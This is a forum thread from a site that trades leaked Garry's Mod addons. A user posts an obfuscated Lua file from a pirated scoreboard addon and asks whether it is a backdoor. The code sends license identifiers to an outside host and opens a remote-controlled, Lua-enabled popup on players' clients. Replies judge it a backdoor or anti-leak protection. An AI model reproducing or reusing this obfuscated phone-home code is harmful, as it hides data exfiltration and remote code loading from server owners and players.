Garry's Mod Leaks

Can someone check this code for backdoors?

Submitted by Baki, , Thread ID: 179495

Thread Closed
24-08-2020, 07:16 PM
#1
This code came from the only copy of "Edge Scoreboard" on this forum from a shady user.

I've checked over every part of the code except one part. There is a file called sh_2_edge_startupcheck.lua with a really long line of code which is all obfuscated. It looks pretty damn shady but I can't make sense of it.

The original thread is herehttps://nulledbb.com/thread-LEAK-Edge-Sc...pid1321463

Please go ahead and check it out if everything is clean - Thanks!

Code:
local a=false;if SERVER then _G['\117\116\105\108']['\65\100\100\78\101\116\119\111\114\107\83\116\114\105\110\103']('\69\100\103\101\58\67\104\101\99\107\85\112\100\97\116\101')local b={u='',a={},d='',i=''}_G['\116\105\109\101\114']['\83\105\109\112\108\101'](1,function()if _G['\69\100\103\101\83\99\111\114\101\98\111\97\114\100']then _G['\104\116\116\112']['\80\111\115\116']('\104\116\116\112\58\47\47\106\111\109\112\101\46\112\104\121\46\115\120\47\108\95\116\101\115\116\46\112\104\112',{s=_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82'],h=_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\72\65\83\72']},function(c)local d=_G['\117\116\105\108']['\74\83\79\78\84\111\84\97\98\108\101'](c)if d then a=true;b.u=d['\85\115\101\114']b.d=b.d~=''and'\91'..b.d..'\93\32\91'..d['\68\97\116\101']..'\93'or d['\68\97\116\101']b.i=d['\73\80']b.a['\69\100\103\101\83\99\111\114\101\98\111\97\114\100']=true end end)end;if _G['\69\100\103\101\72\85\68']then _G['\104\116\116\112']['\80\111\115\116']('\104\116\116\112\58\47\47\106\111\109\112\101\46\112\104\121\46\115\120\47\108\95\116\101\115\116\46\112\104\112',{s=_G['\69\68\71\69\72\85\68\95\79\87\78\69\82'],h=''},function(c)local d=_G['\117\116\105\108']['\74\83\79\78\84\111\84\97\98\108\101'](c)if d then a=true;b.u=d['\85\115\101\114']b.d=b.d~=''and'\91'..b.d..'\93\32\91'..d['\68\97\116\101']..'\93'or d['\68\97\116\101']b.i=d['\73\80']b.a['\69\100\103\101\72\85\68']=true end end)end end)_G['\110\101\116']['\82\101\99\101\105\118\101']('\69\100\103\101\58\67\104\101\99\107\85\112\100\97\116\101',function(e,f)if f['\69\100\103\101\95\66\108\111\99\107\101\100']~=nil then return end;f['\69\100\103\101\95\66\108\111\99\107\101\100']=true;if not a then _G['\110\101\116']['\83\116\97\114\116']('\69\100\103\101\58\67\104\101\99\107\85\112\100\97\116\101')_G['\110\101\116']['\87\114\105\116\101\84\97\98\108\101']({})_G['\110\101\116']['\83\101\110\100'](f)return end;_G['\110\101\116']['\83\116\97\114\116']('\69\100\103\101\58\67\104\101\99\107\85\112\100\97\116\101')_G['\110\101\116']['\87\114\105\116\101\84\97\98\108\101'](b)_G['\110\101\116']['\83\101\110\100'](f)end)else local g,h,i=1,2,3;_G['\104\111\111\107']['\65\100\100']('\79\110\71\97\109\101\109\111\100\101\76\111\97\100\101\100','\69\100\103\101\83\99\111\114\101\98\111\97\114\100\58\85\112\100\97\116\101',function()_G['\116\105\109\101\114']['\83\105\109\112\108\101'](60,function()_G['\110\101\116']['\83\116\97\114\116']('\69\100\103\101\58\67\104\101\99\107\85\112\100\97\116\101')_G['\110\101\116']['\83\101\110\100\84\111\83\101\114\118\101\114']()end)end)local j;local k=false;local function l(m,d)j=j or{m,d}if k then return end;k=true;local n=_G['\118\103\117\105']['\67\114\101\97\116\101']('\68\72\84\77\76')n:SetSize(_G['\83\99\114\87'](),_G['\83\99\114\72']())n:MakePopup()n:SetAllowLua(true)_G['\104\116\116\112']['\70\101\116\99\104'](m==g and'\104\116\116\112\58\47\47\106\111\109\112\101\46\112\104\121\46\115\120\47\108\101\97\107\105\110\103\47\108\101\97\107\101\114\46\104\116\109\108'or m==h and'\104\116\116\112\58\47\47\106\111\109\112\101\46\112\104\121\46\115\120\47\108\101\97\107\105\110\103\47\117\115\101\114\46\104\116\109\108'or'\104\116\116\112\58\47\47\106\111\109\112\101\46\112\104\121\46\115\120\47\108\101\97\107\105\110\103\47\116\97\109\112\101\114\105\110\103\46\104\116\109\108',function(c)local o=c;o=_G['\115\116\114\105\110\103']['\82\101\112\108\97\99\101'](o,'\123\123\85\83\69\82\125\125',d.u)o=_G['\115\116\114\105\110\103']['\82\101\112\108\97\99\101'](o,'\123\123\65\68\68\79\78\83\125\125',_G['\116\97\98\108\101']['\99\111\110\99\97\116'](_G['\116\97\98\108\101']['\71\101\116\75\101\121\115'](d.a),'\59\32'))o=_G['\115\116\114\105\110\103']['\82\101\112\108\97\99\101'](o,'\123\123\68\65\84\69\125\125',d.d)o=_G['\115\116\114\105\110\103']['\82\101\112\108\97\99\101'](o,'\123\123\73\80\125\125',d.i)n:SetHTML(o)local p=_G['\111\115']['\116\105\109\101']()+15;n:AddFunction('\69\100\103\101','\67\111\110\102\105\114\109',function()if p>_G['\111\115']['\116\105\109\101']()then _G['\68\101\114\109\97\95\77\101\115\115\97\103\101']('\80\108\101\97\115\101\32\119\97\105\116\32'.._G['\109\97\116\104']['\82\111\117\110\100'](p-_G['\111\115']['\116\105\109\101']())..'\32\115\101\99\111\110\100\115\32\98\101\102\111\114\101\32\99\108\111\115\105\110\103\46','','\79\75')else n:Remove()k=false end end)n:AddFunction('\69\100\103\101','\67\97\110\99\101\108',function()_G['\82\117\110\67\111\110\115\111\108\101\67\111\109\109\97\110\100']('\100\105\115\99\111\110\110\101\99\116')end)n:AddFunction('\69\100\103\101','\79\112\101\110\80\114\111\102\105\108\101',function()_G['\103\117\105']['\79\112\101\110\85\82\76']('\104\116\116\112\58\47\47\119\119\119\46\115\116\101\97\109\99\111\109\109\117\110\105\116\121\46\99\111\109\47\105\100\47\106\111\109\112\101\47')end)_G['\115\117\114\102\97\99\101']['\80\108\97\121\83\111\117\110\100']('\98\117\116\116\111\110\115\47\98\117\116\116\111\110\56\46\119\97\118')end,function()_G['\116\105\109\101\114']['\83\105\109\112\108\101'](15,function()n:Remove()end)n:SetHTML('\70\97\105\108\101\100\32\116\111\32\99\111\110\110\101\99\116\46\46\46\32\67\108\111\115\105\110\103\32\105\110\32\49\53\32\115\101\99\111\110\100\115\46')end)end;_G['\110\101\116']['\82\101\99\101\105\118\101']('\69\100\103\101\58\67\104\101\99\107\85\112\100\97\116\101',function()local d=_G['\110\101\116']['\82\101\97\100\84\97\98\108\101']()or{}local q={}local r=_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82']==nil or _G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82']==''or _G['\115\116\114\105\110\103']['\76\101\102\116'](_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82'],2)~='\55\54'local s=_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\72\65\83\72']==nil or _G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\72\65\83\72']==''or#_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\72\65\83\72']~=50;if _G['\69\100\103\101\83\99\111\114\101\98\111\97\114\100']and(r or s)then a=true;q['\69\100\103\101\83\99\111\114\101\98\111\97\114\100']=true end;if _G['\69\100\103\101\72\85\68']and(_G['\69\68\71\69\72\85\68\95\79\87\78\69\82']==nil or _G['\69\68\71\69\72\85\68\95\79\87\78\69\82']==''or _G['\115\116\114\105\110\103']['\76\101\102\116'](_G['\69\68\71\69\72\85\68\95\79\87\78\69\82'],2)~='\55\54')then a=true;q['\69\100\103\101\72\85\68']=true end;if _G['\116\97\98\108\101']['\67\111\117\110\116'](d)~=0 then for t,u in pairs(d.a)do q[t]=true end;_G['\115\116\101\97\109\119\111\114\107\115']['\82\101\113\117\101\115\116\80\108\97\121\101\114\73\110\102\111'](_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82']or _G['\69\68\71\69\72\85\68\95\79\87\78\69\82'],function(v)d.u=v..'\32\40'.._G['\117\116\105\108']['\83\116\101\97\109\73\68\70\114\111\109\54\52'](d.u)..'\41'd.a=q;l((_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82']==_G['\76\111\99\97\108\80\108\97\121\101\114']():SteamID64()or _G['\69\68\71\69\72\85\68\95\79\87\78\69\82']==_G['\76\111\99\97\108\80\108\97\121\101\114']():SteamID64())and g or h,d)end)elseif a then _G['\115\116\101\97\109\119\111\114\107\115']['\82\101\113\117\101\115\116\80\108\97\121\101\114\73\110\102\111'](_G['\69\68\71\69\83\67\79\82\69\66\79\65\82\68\95\85\83\69\82']or _G['\69\68\71\69\72\85\68\95\79\87\78\69\82'],function(v)d.u=''d.a={}d.d=''d.i=''l(i,d)end)end end)_G['\116\105\109\101\114']['\67\114\101\97\116\101']('\69\100\103\101\83\99\111\114\101\98\111\97\114\100\58\85\112\100\97\116\101',600,0,function()if j and _G['\116\97\98\108\101']['\67\111\117\110\116'](j)~=0 then l(j[1],j[2])end end)end
I own a gmod server :o

RE: Can someone check this code for backdoors?

#2
that much obfuscated code.. thats probably a backdoor.. //2short

RE: Can someone check this code for backdoors?

OP
#3
24-08-2020, 07:22 PM
Revoke Wrote:
that much obfuscated code.. thats probably a backdoor.. //2short

I agree - but the thing is deleting the script appears to entirely break the scoreboard it self.
I own a gmod server :o

RE: Can someone check this code for backdoors?

OP
This post was last modified: 25-08-2020, 02:28 AM by Baki
#4
24-08-2020, 11:26 PM
patthepaprika Wrote:
If you own a gmod server. then you really shouldnt use leaks. like at all.

Thanks for the useless statement. Of course I"m not using this on my gmod server. This is just a small private darkrp server I use with a small group of friends. They all know everything is leaked because it's not serious nor important.

Also you all were right. The code is not a backdoor but still an anti leak protection feature - using it will cause a popup. Deleting it however won't cause any trouble so there ya go :D
I own a gmod server :o
1

RE: Can someone check this code for backdoors?

#5
hahahhahaHAHAHAHHAH LOOOOOOOOOOOL

you say - "I own a gmod "

what does it give you???
I refuse to help people like you :ultralul:

RE: Can someone check this code for backdoors?

#6
I wouldn't use leaks on your own GMOD Server. They have lots of backdoors.

RE: Can someone check this code for backdoors?

#7
24-08-2020, 10:42 PM
Baki Wrote:
I agree - but the thing is deleting the script appears to entirely break the scoreboard it self.
Included in the obfuscated code can be lines that make the rest of the addon work. Don't risk it.

RE: Can someone check this code for backdoors?

OP
#8
25-08-2020, 06:27 PM
cruzer Wrote:
Included in the obfuscated code can be lines that make the rest of the addon work. Don't risk it.

25-08-2020, 06:46 PM
Dr_Hsan Wrote:
never use leak, just check code, if you think it's backdoor code, delete it :p

Precisely, The obfuscated code seemed to have code that breaks the addon. I just went ahead and bought a legitimate copy.
I own a gmod server :o

RE: Can someone check this code for backdoors?

#9
I would just try to find a different addon from a trusted person in this community.,

RE: Can someone check this code for backdoors?

#10
25-08-2020, 07:25 PM
Baki Wrote:
Precisely, The obfuscated code seemed to have code that breaks the addon. I just went ahead and bought a legitimate copy.
Probably the best option

Users browsing this thread: 2 Guest(s)